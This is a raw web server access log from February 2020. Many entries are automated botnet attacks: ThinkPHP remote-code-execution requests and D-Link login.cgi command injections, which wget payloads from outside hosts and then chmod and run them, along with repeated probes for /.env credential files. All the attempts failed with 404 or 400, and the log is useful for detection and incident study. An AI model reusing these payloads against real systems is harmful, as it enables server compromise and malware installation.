84.214.111.182 - - [01/Feb/2020:05:49:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
18.217.88.250 - - [01/Feb/2020:05:51:07 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
42.117.59.56 - - [01/Feb/2020:05:51:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.183.11.220 - - [01/Feb/2020:05:51:54 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
95.57.111.41 - - [01/Feb/2020:05:51:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.19.87.4 - - [01/Feb/2020:05:56:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
34.242.167.30 - - [01/Feb/2020:05:56:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.19.87.4 - - [01/Feb/2020:05:58:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
134.19.87.4 - - [01/Feb/2020:05:58:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
134.19.87.4 - - [01/Feb/2020:05:58:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
35.180.203.96 - - [01/Feb/2020:05:58:37 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
134.19.87.4 - - [01/Feb/2020:05:59:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
183.80.228.105 - - [01/Feb/2020:06:01:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.123 - - [01/Feb/2020:06:01:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.214.58.85 - - [01/Feb/2020:06:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.118.32.36 - - [01/Feb/2020:06:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
119.29.132.240 - - [01/Feb/2020:06:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
119.29.132.240 - - [01/Feb/2020:06:06:48 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
119.29.132.240 - - [01/Feb/2020:06:06:49 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
13.211.252.61 - - [01/Feb/2020:06:07:27 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
134.19.87.4 - - [01/Feb/2020:06:08:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
134.19.87.4 - - [01/Feb/2020:06:08:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
43.242.39.34 - - [01/Feb/2020:06:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
15.164.50.60 - - [01/Feb/2020:06:09:49 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
81.162.234.111 - - [01/Feb/2020:06:09:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
194.219.142.23 - - [01/Feb/2020:06:10:02 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
134.19.87.4 - - [01/Feb/2020:06:10:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
134.19.87.4 - - [01/Feb/2020:06:10:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
134.19.87.4 - - [01/Feb/2020:06:11:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
109.125.167.24 - - [01/Feb/2020:06:11:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
74.63.255.178 - - [01/Feb/2020:06:13:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
42.118.156.109 - - [01/Feb/2020:06:14:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.213.55 - - [01/Feb/2020:06:15:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
13.56.241.159 - - [01/Feb/2020:06:18:33 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
178.74.102.47 - - [01/Feb/2020:06:19:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
152.136.104.18 - - [01/Feb/2020:06:20:17 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:18 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:19 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:20 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:20 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:21 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:21 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:22 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
152.136.104.18 - - [01/Feb/2020:06:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
13.211.234.158 - - [01/Feb/2020:06:22:39 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
189.131.243.100 - - [01/Feb/2020:06:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
52.67.97.241 - - [01/Feb/2020:06:23:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
42.179.146.200 - - [01/Feb/2020:06:24:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
37.210.95.176 - - [01/Feb/2020:06:24:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.158.1 - - [01/Feb/2020:06:24:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.94.207.247 - - [01/Feb/2020:06:25:17 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
117.0.196.128 - - [01/Feb/2020:06:25:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.68.87.53 - - [01/Feb/2020:06:25:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [01/Feb/2020:06:25:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
170.80.243.138 - - [01/Feb/2020:06:26:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.16.67.99 - - [01/Feb/2020:06:26:55 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
118.70.91.200 - - [01/Feb/2020:06:28:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.241.208 - - [01/Feb/2020:06:29:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.106.64.247 - - [01/Feb/2020:06:30:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
74.63.255.178 - - [01/Feb/2020:06:31:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
41.207.251.86 - - [01/Feb/2020:06:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
103.12.203.88 - - [01/Feb/2020:06:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.80.202.222 - - [01/Feb/2020:06:31:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.77.25.17 - - [01/Feb/2020:06:33:04 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
94.50.26.198 - - [01/Feb/2020:06:33:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.72.64 - - [01/Feb/2020:06:34:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
13.56.77.247 - - [01/Feb/2020:06:34:54 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
151.49.96.19 - - [01/Feb/2020:06:35:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
102.158.88.71 - - [01/Feb/2020:06:36:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
58.189.208.61 - - [01/Feb/2020:06:37:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
15.188.26.98 - - [01/Feb/2020:06:38:09 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
149.12.217.235 - - [01/Feb/2020:06:39:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.233.219.46 - - [01/Feb/2020:06:45:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.132.106.34 - - [01/Feb/2020:06:45:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.182.156.244 - - [01/Feb/2020:06:45:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
37.6.105.35 - - [01/Feb/2020:06:46:21 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
15.164.50.60 - - [01/Feb/2020:06:47:14 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
18.195.88.217 - - [01/Feb/2020:06:48:12 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
52.209.210.194 - - [01/Feb/2020:06:48:15 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
54.94.207.247 - - [01/Feb/2020:06:48:28 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
187.250.150.238 - - [01/Feb/2020:06:51:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
149.12.217.235 - - [01/Feb/2020:06:53:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.93 - - [01/Feb/2020:06:55:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.8.174.239 - - [01/Feb/2020:06:57:26 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
1.231.158.206 - - [01/Feb/2020:06:59:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.70 - - [01/Feb/2020:07:00:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.217.180.49 - - [01/Feb/2020:07:00:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.68.25.102 - - [01/Feb/2020:07:00:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
95.57.36.197 - - [01/Feb/2020:07:01:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.24.181 - - [01/Feb/2020:07:03:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.130.38.76 - - [01/Feb/2020:07:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:07:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.211.6.136 - - [01/Feb/2020:07:04:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [01/Feb/2020:07:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.61.204 - - [01/Feb/2020:07:04:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.169.200.189 - - [01/Feb/2020:07:05:02 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:07:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.104.117.144 - - [01/Feb/2020:07:05:57 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
3.104.117.144 - - [01/Feb/2020:07:06:24 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:07:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.190.213 - - [01/Feb/2020:07:08:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.144.120.196 - - [01/Feb/2020:07:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
61.19.155.20 - - [01/Feb/2020:07:08:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.16.67.99 - - [01/Feb/2020:07:08:56 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
190.141.253.63 - - [01/Feb/2020:07:09:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.211.6.136 - - [01/Feb/2020:07:11:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [01/Feb/2020:07:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.26.59 - - [01/Feb/2020:07:13:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.232.150.131 - - [01/Feb/2020:07:13:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:07:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.8.205 - - [01/Feb/2020:07:14:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.6.13.246 - - [01/Feb/2020:07:16:13 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
94.225.213.54 - - [01/Feb/2020:07:16:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
13.53.78.41 - - [01/Feb/2020:07:16:31 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:07:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.22.41 - - [01/Feb/2020:07:19:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
